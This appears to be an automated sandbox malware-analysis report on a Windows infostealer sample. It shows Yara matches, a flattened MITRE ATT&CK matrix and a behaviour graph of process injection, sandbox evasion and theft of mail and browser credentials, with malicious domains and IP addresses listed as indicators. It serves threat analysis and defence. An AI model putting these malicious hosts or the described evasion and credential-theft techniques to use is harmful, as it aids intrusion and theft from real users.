            Source: Yara matchFile source: 00000008.00000002.2314642445.0000000033860000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 0000000B.00000002.3430583789.0000000007B80000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 0000000C.00000002.3424813910.0000000002F60000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 0000000B.00000002.3426199689.0000000004CC0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000008.00000002.2315053520.0000000035AD0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY

            Mitre Att&ck Matrix

            ReconnaissanceResource DevelopmentInitial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionCommand and ControlExfiltrationImpact
            Gather Victim Identity InformationAcquire InfrastructureValid Accounts1
            Native API            		1
            DLL Side-Loading            		1
            Access Token Manipulation            		1
            Masquerading            		1
            OS Credential Dumping            		221
            Security Software Discovery            		Remote Services1
            Email Collection            		11
            Encrypted Channel            		Exfiltration Over Other Network Medium1
            System Shutdown/Reboot
            CredentialsDomainsDefault AccountsScheduled Task/JobBoot or Logon Initialization Scripts212
            Process Injection            		2
            Virtualization/Sandbox Evasion            		LSASS Memory2
            Virtualization/Sandbox Evasion            		Remote Desktop Protocol1
            Archive Collected Data            		3
            Ingress Tool Transfer            		Exfiltration Over BluetoothNetwork Denial of Service
            Email AddressesDNS ServerDomain AccountsAtLogon Script (Windows)1
            Abuse Elevation Control Mechanism            		1
            Access Token Manipulation            		Security Account Manager2
            Process Discovery            		SMB/Windows Admin Shares1
            Data from Local System            		4
            Non-Application Layer Protocol            		Automated ExfiltrationData Encrypted for Impact
            Employee NamesVirtual Private ServerLocal AccountsCronLogin Hook1
            DLL Side-Loading            		212
            Process Injection            		NTDS1
            Application Window Discovery            		Distributed Component Object Model1
            Clipboard Data            		5
            Application Layer Protocol            		Traffic DuplicationData Destruction
            Gather Victim Network InformationServerCloud AccountsLaunchdNetwork Logon ScriptNetwork Logon Script1
            Deobfuscate/Decode Files or Information            		LSA Secrets3
            File and Directory Discovery            		SSHKeyloggingFallback ChannelsScheduled TransferData Encrypted for Impact
            Domain PropertiesBotnetReplication Through Removable MediaScheduled TaskRC ScriptsRC Scripts1
            Abuse Elevation Control Mechanism            		Cached Domain Credentials24
            System Information Discovery            		VNCGUI Input CaptureMultiband CommunicationData Transfer Size LimitsService Stop
            DNSWeb ServicesExternal Remote ServicesSystemd TimersStartup ItemsStartup Items3
            Obfuscated Files or Information            		DCSyncRemote System DiscoveryWindows Remote ManagementWeb Portal CaptureCommonly Used PortExfiltration Over C2 ChannelInhibit System Recovery
            Network Trust DependenciesServerlessDrive-by CompromiseContainer Orchestration JobScheduled Task/JobScheduled Task/Job1
            DLL Side-Loading            		Proc FilesystemSystem Owner/User DiscoveryCloud ServicesCredential API HookingApplication Layer ProtocolExfiltration Over Alternative ProtocolDefacement

            Behavior Graph

            Hide Legend

            Legend:

            • Process
            • Signature
            • Created File
            • DNS/IP Info
            • Is Dropped
            • Is Windows Process
            • Number of created Registry Values
            • Number of created Files
            • Visual Basic
            • Delphi
            • Java
            • .Net C# or VB.NET
            • C, C++ or other language
            • Is malicious
            • Internet
            behaviorgraph top1 dnsIp2 2 Behavior Graph ID: 1631824 Sample: mF8WNclxnv.exe Startdate: 07/03/2025 Architecture: WINDOWS Score: 100 31 www.justachillaiguy.xyz 2->31 33 www.hypereth.xyz 2->33 35 11 other IPs or domains 2->35 47 Suricata IDS alerts for network traffic 2->47 49 Antivirus / Scanner detection for submitted sample 2->49 51 Multi AV Scanner detection for submitted file 2->51 55 4 other signatures 2->55 10 mF8WNclxnv.exe 1 50 2->10         started        signatures3 53 Performs DNS queries to domains with low reputation 33->53 process4 file5 27 C:\Users\user\AppData\Local\...\System.dll, PE32 10->27 dropped 29 C:\Users\user\AppData\Local\...\LangDLL.dll, PE32 10->29 dropped 67 Tries to detect virtualization through RDTSC time measurements 10->67 69 Switches to a custom stack to bypass stack traces 10->69 14 mF8WNclxnv.exe 6 10->14         started        signatures6 process7 dnsIp8 43 drive.google.com 142.250.185.142, 443, 49691 GOOGLEUS United States 14->43 45 drive.usercontent.google.com 142.250.186.33, 443, 49692 GOOGLEUS United States 14->45 71 Maps a DLL or memory area into another process 14->71 18 Kf2uv5NZsp.exe 14->18 injected signatures9 process10 dnsIp11 37 www.essense.ltd 46.30.136.130, 49706, 49707, 49708 SYSTEMFORCE_ASGB United Kingdom 18->37 39 justachillaiguy.xyz 84.32.84.32, 49711, 49712, 49713 NTT-LT-ASLT Lithuania 18->39 41 4 other IPs or domains 18->41 57 Found direct / indirect Syscall (likely to bypass EDR) 18->57 22 PresentationHost.exe 13 18->22         started        signatures12 process13 signatures14 59 Tries to steal Mail credentials (via file / registry access) 22->59 61 Tries to harvest and steal browser information (history, passwords, etc) 22->61 63 Modifies the context of a thread in another process (thread injection) 22->63 65 2 other signatures 22->65 25 firefox.exe 22->25         started        process15

            Screenshots

            Thumbnails

            This section contains all screenshots as thumbnails, including those not shown in the slideshow.